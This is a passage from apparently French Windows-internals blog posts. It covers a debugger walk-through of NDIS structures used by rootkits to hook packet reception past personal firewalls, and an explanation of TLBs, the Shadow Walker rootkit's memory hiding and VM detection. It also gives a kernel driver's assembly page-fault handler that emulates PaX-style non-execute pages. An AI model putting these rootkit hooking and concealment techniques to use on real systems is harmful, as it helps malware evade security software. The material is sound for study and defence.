   +0x114 MapRegisters     : 0x80d9eab0 _MAP_REGISTER_ENTRY
   +0x118 CallMgrAfList    : (null)
   +0x11c MiniportThread   : (null)
   +0x120 SetInfoBuf       : (null)
   +0x124 SetInfoBufLen    : 0
   +0x126 MaxSendPackets   : 0
   +0x128 FakeStatus       : -1073676257
   +0x12c LockHandler      : 0xfa5cfd89
   +0x130 pAdapterInstanceName : 0x80e7fbc0 _UNICODE_STRING "Carte Fast Ethernet PCI à base de Intel 21140 (Générique)"
   +0x134 TimerQueue       : (null)
   +0x138 MacOptions       : 0x8f
   +0x13c PendingRequest   : (null)
   +0x140 MaximumLongAddresses : 0x24
   +0x144 MaximumShortAddresses : 0
   +0x148 CurrentLookahead : 0x80
   +0x14c MaximumLookahead : 0x200
   +0x150 HandleInterruptHandler : 0xfa846094     void  dc21x4!DC21X4HandleInterrupt+0
   +0x154 DisableInterruptHandler : 0xfa846e32     void  dc21x4!DC21X4DisableInterrupt+0
   +0x158 EnableInterruptHandler : 0xfa846e18     void  dc21x4!DC21X4EnableInterrupt+0
   +0x15c SendPacketsHandler : 0xfa5cd31c     void  NDIS!ndisMSendPackets+0
   +0x160 DeferredSendHandler : 0xfa5cc997     unsigned char  NDIS!ndisMStartSends+0
   +0x164 EthRxIndicateHandler : 0xfa5d9af6     void  NDIS!EthFilterDprIndicateReceive+0
   +0x168 TrRxIndicateHandler : 0xfa5da1f1     void  NDIS!TrFilterDprIndicateReceive+0
   +0x16c FddiRxIndicateHandler : 0xfa5d81f8     void  NDIS!FddiFilterDprIndicateReceive+0
   +0x170 EthRxCompleteHandler : 0xfa5d9971     void  NDIS!EthFilterDprIndicateReceiveComplete+0
   +0x174 TrRxCompleteHandler : 0xfa5daa2d     void  NDIS!TrFilterDprIndicateReceiveComplete+0
   +0x178 FddiRxCompleteHandler : 0xfa5d77fc     void  NDIS!FddiFilterDprIndicateReceiveComplete+0
   +0x17c StatusHandler    : 0xfa5d0a5f     void  NDIS!NdisMIndicateStatus+0
   +0x180 StatusCompleteHandler : 0xfa5d0c9d     void  NDIS!NdisMIndicateStatusComplete+0
   +0x184 TDCompleteHandler : 0xfa5ccf44     void  NDIS!NdisMTransferDataComplete+0
   +0x188 QueryCompleteHandler : 0xfa5cf907     void  NDIS!NdisMQueryInformationComplete+0
   +0x18c SetCompleteHandler : 0xfa5cfce3     void  NDIS!NdisMSetInformationComplete+0
   +0x190 WanSendCompleteHandler : 0xfa5cd26d     void  NDIS!NdisMWanSendComplete+0
   +0x194 WanRcvHandler    : 0xfa5d38a1     void  NDIS!NdisMWanIndicateReceive+0
   +0x198 WanRcvCompleteHandler : 0xfa5d3941     void  NDIS!NdisMWanIndicateReceiveComplete+0
   +0x19c NextGlobalMiniport : (null)
   +0x1a0 WorkQueue        : [7] _SINGLE_LIST_ENTRY
   +0x1bc SingleWorkItems  : [6] _SINGLE_LIST_ENTRY
   +0x1d4 SendFlags        : 0 ''
   +0x1d5 TrResetRing      : 0 ''
   +0x1d6 ArcnetAddress    : 0 ''
   +0x1d7 XState           : 0x2 ''
   +0x1d8 ArcBuf           : (null)
   +0x1d8 BusInterface     : (null)
   +0x1dc Log              : (null)
   +0x1e0 SlotNumber       : 0xffffffff
   +0x1e4 AllocatedResources : 0x80df68a0 _CM_RESOURCE_LIST
   +0x1e8 AllocatedResourcesTranslated : 0x80df6904 _CM_RESOURCE_LIST
   +0x1ec PatternList      : _SINGLE_LIST_ENTRY
   +0x1f0 PMCapabilities   : _NDIS_PNP_CAPABILITIES
   +0x200 DeviceCaps       : _DEVICE_CAPABILITIES
   +0x240 WakeUpEnable     : 0
   +0x244 CurrentDevicePowerState : 1 ( PowerDeviceD0 )
   +0x248 pIrpWaitWake     : (null)
   +0x24c WaitWakeSystemState : 0 ( PowerSystemUnspecified )
   +0x250 VcIndex          : _LARGE_INTEGER 0x0
   +0x258 VcCountLock      : 0
   +0x25c WmiEnabledVcs    : _LIST_ENTRY [ 0x80df339c - 0x80df339c ]
   +0x264 pNdisGuidMap     : 0x80dde900 _NDIS_GUID
   +0x268 pCustomGuidMap   : (null)
   +0x26c VcCount          : 0
   +0x26e cNdisGuidMap     : 0x40
   +0x270 cCustomGuidMap   : 0
   +0x272 CurrentMapRegister : 0x7f
   +0x274 AllocationEvent  : 0xfabb82e0 _KEVENT
   +0x278 BaseMapRegistersNeeded : 0x80
   +0x27a SGMapRegistersNeeded : 0x10
   +0x27c MaximumPhysicalMapping : 0x600
   +0x280 MediaDisconnectTimer : _NDIS_TIMER
   +0x2c8 MediaDisconnectTimeOut : 0xffff
   +0x2ca InstanceNumber   : 1
   +0x2cc OpenReadyEvent   : _NDIS_EVENT
   +0x2dc PnPDeviceState   : 1 ( NdisPnPDeviceStarted )
   +0x2e0 OldPnPDeviceState : 0 ( NdisPnPDeviceAdded )
   +0x2e4 SetBusData       : 0xfa704330     unsigned long  pci!PciPnpWriteConfig+0
   +0x2e8 GetBusData       : 0xfa704306     unsigned long  pci!PciPnpReadConfig+0
   +0x2ec DeferredDpc      : _KDPC
   +0x310 NdisStats        : _NDIS_STATS
   +0x328 IndicatedPacket  : [32] (null)
   +0x3a8 RemoveReadyEvent : (null)
   +0x3ac AllOpensClosedEvent : (null)
   +0x3b0 AllRequestsCompletedEvent : (null)
   +0x3b4 InitTimeMs       : 0xd88
   +0x3b8 WorkItemBuffer   : [6] _NDIS_MINIPORT_WORK_ITEM
   +0x400 SystemAdapterObject : 0x80dd5788 _DMA_ADAPTER
   +0x404 DriverVerifyFlags : 0
   +0x408 OidList          : 0x80dd8d58 _OID_LIST
   +0x40c InternalResetCount : 0
   +0x40e MiniportResetCount : 0
   +0x410 MediaSenseConnectCount : 0
   +0x412 MediaSenseDisconnectCount : 2
   +0x414 xPackets         : (null)
   +0x418 UserModeOpenReferences : 0
   +0x41c SavedSendHandler : 0xfa5ccd33
   +0x41c SavedWanSendHandler : 0xfa5ccd33
   +0x420 SavedSendPacketsHandler : 0xfa5cd31c     void  NDIS!ndisMSendPackets+0
   +0x424 SavedCancelSendPacketsHandler : (null)
   +0x428 WSendPacketsHandler : (null)
   +0x42c MiniportAttributes : 8
   +0x430 SavedSystemAdapterObject : (null)
   +0x434 NumOpens         : 2
   +0x436 CFHangXTicks     : 0
   +0x438 RequestCount     : 0
   +0x43c IndicatedPacketsCount : 0
   +0x440 PhysicalMediumType : 0
   +0x444 LastRequest      : 0xf7526b6c _NDIS_REQUEST
   +0x448 DmaAdapterRefCount : 8
   +0x44c FakeMac          : 0x80de5680
   +0x450 LockDbg          : 0
   +0x454 LockDbgX         : 0
   +0x458 LockThread       : (null)
   +0x45c InfoFlags        : 0x2010211
   +0x460 TimerQueueLock   : 0
   +0x464 ResetCompletedEvent : (null)
   +0x468 QueuedBindingCompletedEvent : (null)
   +0x46c DmaResourcesReleasedEvent : (null)
   +0x470 SavedPacketIndicateHandler : 0xfa5d8b21     void  NDIS!ethFilterDprIndicateReceivePacket+0
   +0x474 RegisteredInterrupts : 1
   +0x478 SGListLookasideList : (null)
   +0x47c ScatterGatherListSize : 0
   +0x480 WakeUpTimerEvent : (null)
   +0x484 SecurityDescriptor : 0x80df4680
   +0x488 NumUserOpens     : 0
   +0x48c NumAdminOpens    : 0
   +0x490 Ref              : _ULONG_REFERENCE

On prend le champ EthDB qui pointe sur une struct ndis!_X_FILTER :

kd> dt ndis!_X_FILTER 0x80e438e8
   +0x000 OpenList         : 0x80e2fea8 _X_BINDING_INFO
   +0x004 BindListLock     : _NDIS_RW_LOCK
   +0x214 Miniport         : 0x80df3140 _NDIS_MINIPORT_BLOCK
   +0x218 CombinedPacketFilter : 0xb
   +0x21c OldCombinedPacketFilter : 0xb
   +0x220 NumOpens         : 2
   +0x224 MCastSet         : (null)
   +0x228 SingleActiveOpen : (null)
   +0x22c AdapterAddress   : [6]  ""
   +0x234 MCastAddressBuf  : 0xffb9b1b8 [6]  "???"
   +0x238 OldMCastAddressBuf : (null)
   +0x23c MaxMulticastAddresses : 0x24
   +0x240 NumAddresses     : 1
   +0x244 OldNumAddresses  : 0
   +0x234 AdapterShortAddress : [2]  "??????"
   +0x238 MCastLongAddressBuf : (null)
   +0x23c MCastShortAddressBuf : 0x00000024 [2]  ""
   +0x240 OldMCastLongAddressBuf : 0x00000001 [6]  ""
   +0x244 OldMCastShortAddressBuf : (null)
   +0x248 MaxMulticastLongAddresses : 0
   +0x24c MaxMulticastShortAddresses : 0
   +0x250 NumLongAddresses : 0
   +0x254 NumShortAddresses : 0
   +0x258 OldNumLongAddresses : 0
   +0x25c OldNumShortAddresses : 0
   +0x260 SupportsShortAddresses : 0 ''
   +0x234 CombinedFunctionalAddress : 0xffb9b1b8
   +0x238 GroupAddress     : 0
   +0x23c GroupReferences  : 0x24
   +0x240 OldCombinedFunctionalAddress : 1
   +0x244 OldGroupAddress  : 0
   +0x248 OldGroupReferences : 0

Cette structure contient un pointeur sur un liste de _X_BINDING_INFO qui représentent les NDIS_OPEN_BLOCK attachés au miniport.

kd> dt ndis!_X_BINDING_INFO 0x80e2fea8
   +0x000 NextOpen         : 0x80dcef20 _X_BINDING_INFO
   +0x004 NdisBindingHandle : 0x80e2fef0 _NDIS_OPEN_BLOCK
   +0x008 Reserved         : (null)
   +0x00c PacketFilters    : 0xb
   +0x010 OldPacketFilters : 0
   +0x014 References       : 1
   +0x018 NextInactiveOpen : (null)
   +0x01c ReceivedAPacket  : 0 ''
   +0x020 MCastAddressBuf  : 0x80f01bc8 [6]  "???"
   +0x024 NumAddresses     : 1
   +0x028 OldMCastAddressBuf : (null)
   +0x02c OldNumAddresses  : 0
   +0x020 MCastLongAddressBuf : 0x80f01bc8 [6]  "???"
   +0x024 NumLongAddresses : 1
   +0x028 MCastShortAddressBuf : (null)
   +0x02c NumShortAddresses : 0
   +0x030 OldMCastLongAddressBuf : (null)
   +0x034 OldNumLongAddresses : 0
   +0x038 OldMCastShortAddressBuf : (null)
   +0x03c OldNumShortAddresses : 0
   +0x020 FunctionalAddress : 0x80f01bc8
   +0x024 OldFunctionalAddress : 1
   +0x028 UsingGroupAddress : 0 ''
   +0x029 OldUsingGroupAddress : 0 ''

kd> dt ndis!_X_BINDING_INFO 0x80dcef20
   +0x000 NextOpen         : (null)
   +0x004 NdisBindingHandle : 0x80dc8c50 _NDIS_OPEN_BLOCK
   +0x008 Reserved         : (null)
   +0x00c PacketFilters    : 0xb
   +0x010 OldPacketFilters : 0
   +0x014 References       : 1
   +0x018 NextInactiveOpen : (null)
   +0x01c ReceivedAPacket  : 0 ''
   +0x020 MCastAddressBuf  : (null)
   +0x024 NumAddresses     : 0
   +0x028 OldMCastAddressBuf : (null)
   +0x02c OldNumAddresses  : 0
   +0x020 MCastLongAddressBuf : (null)
   +0x024 NumLongAddresses : 0
   +0x028 MCastShortAddressBuf : (null)
   +0x02c NumShortAddresses : 0
   +0x030 OldMCastLongAddressBuf : (null)
   +0x034 OldNumLongAddresses : 0
   +0x038 OldMCastShortAddressBuf : (null)
   +0x03c OldNumShortAddresses : 0
   +0x020 FunctionalAddress : 0
   +0x024 OldFunctionalAddress : 0
   +0x028 UsingGroupAddress : 0 ''
   +0x029 OldUsingGroupAddress : 0 ''

Si on regarde bien le résultat de la commande !protocols on a 2 OPEN_BLOCK sur notre miniport qui sont :

kd> !protocols
 Protocol 80d5bd40: NDISUIO
    Open 80e2fef0 - Miniport: 80df3140 Carte Fast Ethernet PCI à base de Intel 21140 (Générique)

 Protocol 80d4c878: TCPIP
    Open 80dc8c50 - Miniport: 80df3140 Carte Fast Ethernet PCI à base de Intel 21140 (Générique)

Ho tient ce sont ceux qu’on voit dans les ndis!_X_BINDING_INFO ! On peut donc pour un packet entrant le rediriger sur un fake NDIS_OPEN_BLOCK à nous, de la même forme que l’original mais ayant les handler Reveive* modifiés, et voilà le tour est joué. J’avoue que j’ai choppé toutes ces infos dans la conf Rootkits: Attacking Personal Firewalls d’Alexander Tereshkin lors de blackhat 2K6. Je me demande même si ce n’est pas lui l’auteur de l’article dont je vous parle sur rootkit.com …

Si vous voulez vous faire plaisir, MS vous file les doc imbuvable de ses protocoles (merci à nono) Windows Server Protocols (WSPP)

2 comments février 22nd, 2008

TLBs are your friends

Un drame m’est arrivé, la pire chose au monde. Ce matin au réveil, je m’aperçois que je n’ai plus de chocapicz … Tel un drogué je comprends que mon besoin primaire de cette nourriture ne pourra être satisfait rapidement, c’est dans ce genre de moment qu’on réalise que nos petites habitudes ont parfois prit une ampleur sur notre existence insoupçonnée, comment faire pour ne pas y penser ? Comment faire pour que mon ventre creux arrête de gargouiller, il est 13h (wiwi c’est l’heure ou je me réveil) tout est fermé, je me dis « Ivan, soit fort, combat cette drogue, fait autre chose, chasse cette envie de ton esprit ! » et j’ai fait ce que je sais faire le mieux, j’ai codé …

Ca faisait pas mal de temps que j’avais envie de jouer avec la pagination de OS. Bidouiller les PDEs, les PTEs, jouer avec mon cr3, courir avec des TLB près de la mer, bref, m’éclater avec ces mécanismes. J’avais toujours en tête les différents papers plus au moins vieux sur le sujet mais je voulais faire quelque chose d’un peu plus original sous Windows. Un pote m’a montré la documentation de PAX, vous savez le patch kernel unix qui sert à prévenir pas mal d’exploitations de binaires. En fait PAX émule une protection en exécution des pages mémoire, comme le NX bit dispo sur les processeurs récents. Le NX bit à besoin du PAE activé ou un mode 64 tapz pour fonctionner ce qui est un peu dommage par rapport à ce qu’il apporte en terme de sécurité.

Pour comprendre comment fonctionne la protection en non-execute des pages, il faut d’abord savoir comment fonctionne la translation d’adresses virtuelles en adresses physiques, pour cela je vous invite à relire ce post.

Si vous avez lu (ou que vous connaissez déjà un peu le sujet) vous remarquerez que le processus de translation d’adresses virtuelles (virtual addresses, VA) en adresses physiques (physical addresses, PA) est un peu long et demande au moins 3 lectures en mémoire. Pour pouvoir optimiser cela les constructeurs de CPU ont ajouté un cache permettant de faire le lien entre les VA et PA plus rapidement, on appel ces caches des TLB (Translation Lookaside Buffers). Ils contiennent des cellules qui font correspondre les VA au PA du process courant afin de pouvoir optimiser la translation d’adresses.

Après il faut savoir que les TLP sont splités en 2 parties, l’ITLB et le DTLB. L’ITLB (Instruction TLB) va contenir les translations d’adresses pour le code exécutable. Le DTLB (Data TLB) quand a lui contient les translations pour le reste des données. L’utilisation des TLB est donc résumer par le schéma suivant :

TLB

Tout d’abord la MMU va check si une entré est présente dans les TLB pour faire la translation, si oui on un un TLB Hit, sinon on a un TLB Miss et on doit perdre du temps 0 parcourir les PDE/PTE.

Les TLB sont assez connu dans le domaine de la sécu, notamment pour 2 faits. Premièrement, pour avoir été décrit dans phrack par Sherri Sparks et Jamie Butler dans l’implémentation du shadow walker. Le concept du shadow walker permet à un rootkit kernel-land de caché du code ou des données au processeur lui même. Le principe réside évidemment sur la translation d’adresses. Prenons une gentille page mémoire présente dans la RAM, tranquillement elle vit sa vie, se faire lire, écrire voir même exécute. Elle est forcément décrite par un PTE (Page Table Entry) qui, sous architecture x86, est de la forme :
PTE

Lorsque l’OS trouve que la page n’est pas assez souvent utilisée, il peut, pour gagner de la mémoire, la swapper sur le disque dans le fameux fichier pagefile.sys. Vous comprenez bien que si un programme décide d’aller chercher cette page en mémoire, il va se sentir un peu seul quand il va voir qu’elle n’y est plus, il faut donc que l’OS la recharge. Cependant il doit savoir, quand la recharger, vous me direz « bah quand le programme en a besoin sale ruskoff communiste buveur de vodka », certes … Pour cela, lorsque l’OS outswap la page sur le disque, il met la 0 le premier bit du PTE (Present Bit), ainsi lorsque la MMU va aller chercher la page, en voyant que le present-bit est 0, va lancer une exception de type page-fault (0x0E) alertant ainsi le memory-manager qu’il faut inswapper la page en mémoire.

Jusqu’ici rien de nouveau, le shadow walker va utiliser a son escient le present-bit. Prenons une autre gentille page mémoire et mettons son present-bit à 0, sans l’outswapper. Si un accès est fait sur cette page, une exception est générée, normalement le memory-manager ne sait pas gérer ce genre d’exceptions, c’est pourquoi nous avons notre propre page-fault handler placé avant. Celui-vi va servir à vérifier d’ou provient l’accès à notre page, dans le cas d’une demande d’exécution, si l’accès ne provient pas d’une source valide on remplace le PTE par un fake PTE représentant une page contenant du junk code. Cet à ce moment qu’interviennent les TLB, au lieu de remettre la present-bit de la page à 1, ce qui pourrait être problématique car nous ne pourrions intercepter les prochaines exécutions sur notre page, on va tout simplement ajouter une entré dans l’ITLB en faisant correspondre à notre VA en PA sur une page contenant du junk code, c’est de la balle, car avec cette technique, on est en mesure d’intercepter les prochaines demandes d’exécution de notre page.

Dans le cas d’une demande de lecture/écriture, on regarde aussi d’ou provient l’appel, si la demande est autorisée on charge la translation d’adresse dans le DTLB.

Les TLB sont aussi connus pour servir dans la détection des VM, l’idée peut-être résumé par le post de Thomas Patcek de chez Matasano. Le but est de désynchroniser les TLB et les PTE, c’est à dire de laisser dans les TLB des translations d’adresses de pages dont le present-bit est à 0. L’attaque consiste à se place dans la VM, on désynchronise les TLB et les PTE et on fait en sorte de saturer le TLB sur un gros bloque de mémoire qu’on a alloué et dont on a mit les present-bits de ses pages à 0. Il faut savoir que pour différences les TLB entries de l’host et de la VM, les entries sont taguées par des ASID (Address Space Identifiers), donc un flush des TLB dans l’host ou la VM n’affectera pas les entries taguées par les autres ASID. Maintenant qu’on a floodé le TLB, que ce passerait-il si on devait revenir dans l’environnement de l’hôte ? Naturellement ce dernier irait flusher une parie des entries du TLB, celui-ci étant plein, pour pouvoir gérer la VM, après retour dans la vm, on aurait donc une translation d’adresse fausse avec les entries du TLB taguées avec les ASID de la VM. Il suffit donc de prendre une instruction demandant une sortie de l’hyperviseur mais qui dans un contexte normal n’effectue aucun accès mémoire, cette instruction c’est CPUID. Sous Intel VT-x et AMD-V, elle requiert une sortie de l’hyperviseur pour être géré, de ce fait on est capable de vider des entries de la VM du TLB et de fucker les translations de notre big bloque de mémoire et DONC par effet de bord de détecter la VM, ouf …

Bon évidemment je vous prends la tête avec des notions par forcément évidentes à comprendre. Pour la suite retenez 4 choses par coeur sur les TLB :

- Reloading cr3 causes all TLB entries except global entries to be
flushed. This typically occurs on a context switch.

- The invlpg causes a specific TLB entry to be flushed.

- Executing a data access instruction causes the DTLB to be loaded with
the mapping for the data page that was accessed.

- Executing a call causes the ITLB to be loaded with the mapping for the
page containing the code executed in response to the call.

Revenons un peu à notre patch noyau, PAX, celui-ci tire avantage des TLB pour émuler une protection en non-execute. La question est comment ? Simple il suffit de lire la doc, extrait :

« The above described TLB behaviour means that software has explicit control
over ITLB/DTLB loading: it can get notified on hardware TLB load attempts
if it sets up the page tables so that such attempts will fail and trigger
a page fault exception, and it can also initiate a TLB load by making the
appropriate memory access to have the CPU walk the page tables and load one
of the TLBs. This in turn is the key to implement non-executable pages:
such pages can be marked either as non-present or requiring supervisor level
access in the page tables hence userland memory accesses would raise a page
fault. The page fault handler can then decide whether it was an instruction
fetch attempt (by comparing the fault address to that of the instruction
that raised the fault) or a legitimate data access. In the former case we
will have detected an execution attempt in a non-executable page and can
act accordingly (terminate the task), in the latter case we can just change
the affected page table entry temporarily to allow user level access and
have the CPU load it into the DTLB (we will of course have to restore the
page table entry to the old state so that further page table walks will
again raise a page fault). »

Pour résumer, l’idée consiste à marquer les present-bits des pages à protéger à 0, ainsi lorsqu’une demande est faite sur ces pages, elle génère une exception de type page-fault. On vérifie le type de demande, dans le cas d’une requête en read ou write on charge une entrée dans le DTLB avec le code suivant :

cli //disable interruptions
mov ebx, ptePage //ebx : Pointeur sur le PTE de notre page filtré
or dword ptr [ebx], 0x01 //marque la page présente
mov eax, dword ptr [eax] //acces en lecture qui va remplir le DTLB
and dword ptr [ebx], 0xFFFFFFFE //page non présente
sti //enale interruptions

On oublie évidemment pas de flusher notre page de l’ITLB avec l’instruction invplg. Maintenant que notre DTLB est remplit, on peut sans problème travailler sur nos pages. Lors du prochain changement de contexte, les entries sera flushée mais du fait que les present-bits des PTE décrivant les pages à protéger sont à 0, on aura de nouveau une interruption et de nouveau on rechargera le DTLB. Ce qui est cool c’est qu’on à besoin que d’un page-fault pour ajouter une entrée au DTLB, donc tant qu’on reste dans le contexte de notre process (même cr3) tout se passe bien.

Si un programme demande un accès en exécution sur une page protégée, du fait que l’ITLB est vite, on aura un ITLB miss qui va appeler le page-fault handler, notre page-fault handler même, ce dernier aura pour rôle de dire au programme qu’il est impossible d’exécuter cette page.

Je me suis amusé à réaliser un couple programme user-land, driver r0, mettant en application ce concept. Le driver va recevoir des IOCTL du programme lui demandant de protéger une seule page mémoire, il va aussi installer son propre page-fault handler dans l’IDT afin de filtrer les exceptions. Voici le code du nouveau page-fault handler :

//Our KiTrap0E handler
VOID __declspec(naked) NewInt0EHandler(void)
{
    __asm
    {
        // sur la stack on a
        // [page fault error code]
        // [faulting eip]
        // ...
        pushad
        mov edx, dword ptr [esp+0x20] //PageFault.ErrorCode
        test edx, 0x04 //verif si le core etait en usermode lors de l'except
        je PassDown  //sinon on se casse                              

        //verif si l'except s'est produite dans notre proces space
        mov eax, cr3
        mov ebx, Mycr3
        cmp eax, ebx
        jne PassDown

        mov esi, cr2 //esi : Adresse du page fault
        mov eax, esi
        shr eax, 12 //masque a 0x1000

        mov ebx, vaPage
        shr ebx, 12 //masque a 0x1000

        cmp ebx, eax
        //si ce n'est pas notre page
        jne PassDown
        //un acces a ete fait sur notre page
        //on flush le TLB
        invlpg vaPage

        //esp+0x24=eip fautif, si eip=adresse du page fault, alors on a une demande d'exec
        //et on leave
        cmp [esp+0x24], esi
        je Execution

        //
        // DTLB
        //
        mov eax, vaPage
        //on ajoute une entrée dans le DTLB
        cli //disable interruptions
        mov ebx, ptePage //ebx : Pointeur sur le PTE de notre page filtré
        or dword ptr [ebx], 0x01 //marque la page présente
        mov eax, dword ptr [eax] //acces en lecture qui va remplir le DTLB
        and dword ptr [ebx], 0xFFFFFFFE //page non présente
        sti //enale interruptions
        jmp ReturnWitoutPassDown

        //
        //ITLB
        //
Execution:
        int 3
        //hack de la mort qui tue ....
        // !!! NE LE REFAITE PAS CHEZ VOUS !!!
        //en esp+0x20+4 on a l'adresse du page-fault, c'est à dire le début de notre page (esi)
        //pointé par esp+0x20+16 on a le user-land esp qui pointe sur l'adresse de retour pushé par le "call Page"
        //le iretd va retourner sur l'adress pointé par esp+0x20+4, pour eviter un nouveau page-fault on le fait
        //retourner sur l'adresse pointé par esp+0x20+16 en userland.

        mov eax, dword ptr [esp+0x20+0x10] //eax=userland esp
        mov eax, [eax] //eax=adresse de retour
        mov [esp+0x24], eax //change le retour de iretd

ReturnWitoutPassDown:
        popad
        add esp, 4
        iretd       

PassDown:
        popad
        jmp OldInt0EHandler
    }//end asm
}//end NewInt0E

Dans mon code, dans le cas d’une demande d’exécution j’ai du tricker comme un péruvien élevant des lamas … On sait que lors d’une exception on se retrouve sur la stack kernel-land avec :
esp+00 Error code
esp+04 Return EIP
esp+08 Return CS
esp+12 Return EFLAGS
esp+16 Return ESP
esp+20 Return SS
esp+24 Return ES
esp+28 Return DS
esp+32 Return FS
esp+36 Return GS

Cette stack sert pour le retour en user-land avec l’instruction iretd. Sachant que j’ai appelé ma page à protéger avec un call, donc sur la stack user-land, pointé par esp, j’ai mon adresse de retour. Pour retrouver le esp user-land, il suffit de regarder le esp+16 kernel-land, on remplace l’adresse de retour du iretd (esp+4) et hop ! On retombe sur nos pattes, bon j’avoue c’est tricky, mais bon, c’est de l’info, tout est permit :]
MAIS pour une raison inconnue lors du retour en userland par iretd, le segment fs est mit à 0 alors que dans le esp+32 kernel-land il vaut sa valeur normale (0x3B), donc lorsque le soft qui call le driver veut lire son TEB au moment de quitter il fuck :’( Pourtant quand le retour se fait avec le jmp sur PassDown tout est OK, j’avoue être dans le brouillard :(

Bref, mise à part ce bug, ca fonctionne. J’espère que vous avez à peu prés comprit le principe pour émuler une protection en non-execute grâce aux TLBs, j’attends avec impatience vos impressions. En attendant vous pouvez jouer avec les sources+binaires dispo ici :
http://ivanlef0u.fr/repo/TLB.rar

Sinon, allez lire blog de mon jeune padawan c’est du contenu moins hardcore mais tout aussi instructif :)
http://0vercl0k.blogspot.com/

ref :
http://book.itzero.com/read/microsoft/0507/microsoft.press.microsoft.windows.internals.fourth.edition.dec.2004.internal.fixed.ebook-ddu_html/0735619174/ch07.html
http://bluepillproject.org/stuff/IsGameOver.ppt
http://www.matasano.com/log/930/side-channel-detection-attacks-against-unauthorized-hypervisors/
http://en.wikipedia.org/wiki/Translation_Lookaside_Buffer
http://pax.grsecurity.net/docs/pageexec.txt
http://phrack.org/issues.html?issue=63&id=8&mode=txt

Les précédentes recherches de b0l0k
http://www.c0ding.fr/blog/?p=6
http://www.c0ding.fr/blog/?p=7
Ses liens :
An Architectural Approach to Preventing Code Injection Attacks
http://cairo.cs.purdue.edu/pubs/dsn07-codeinj.pdf
Hardware-assisted circumvention of self-hashing software tamper resistance
http://www.scs.carleton.ca/~paulv/papers/IEEE-extended.7april05.pdf
Rootkits ‘n Stuff
http://www.acm.uiuc.edu/sigmil/talks/shadowwalker/Shadow+Walker+Talk.pdf

24 comments février 4th, 2008


Calendar

février 2008
L Ma Me J V S D
« jan   mar »
 123
45678910
11121314151617
18192021222324
2526272829  

Posts by Month

Posts by Category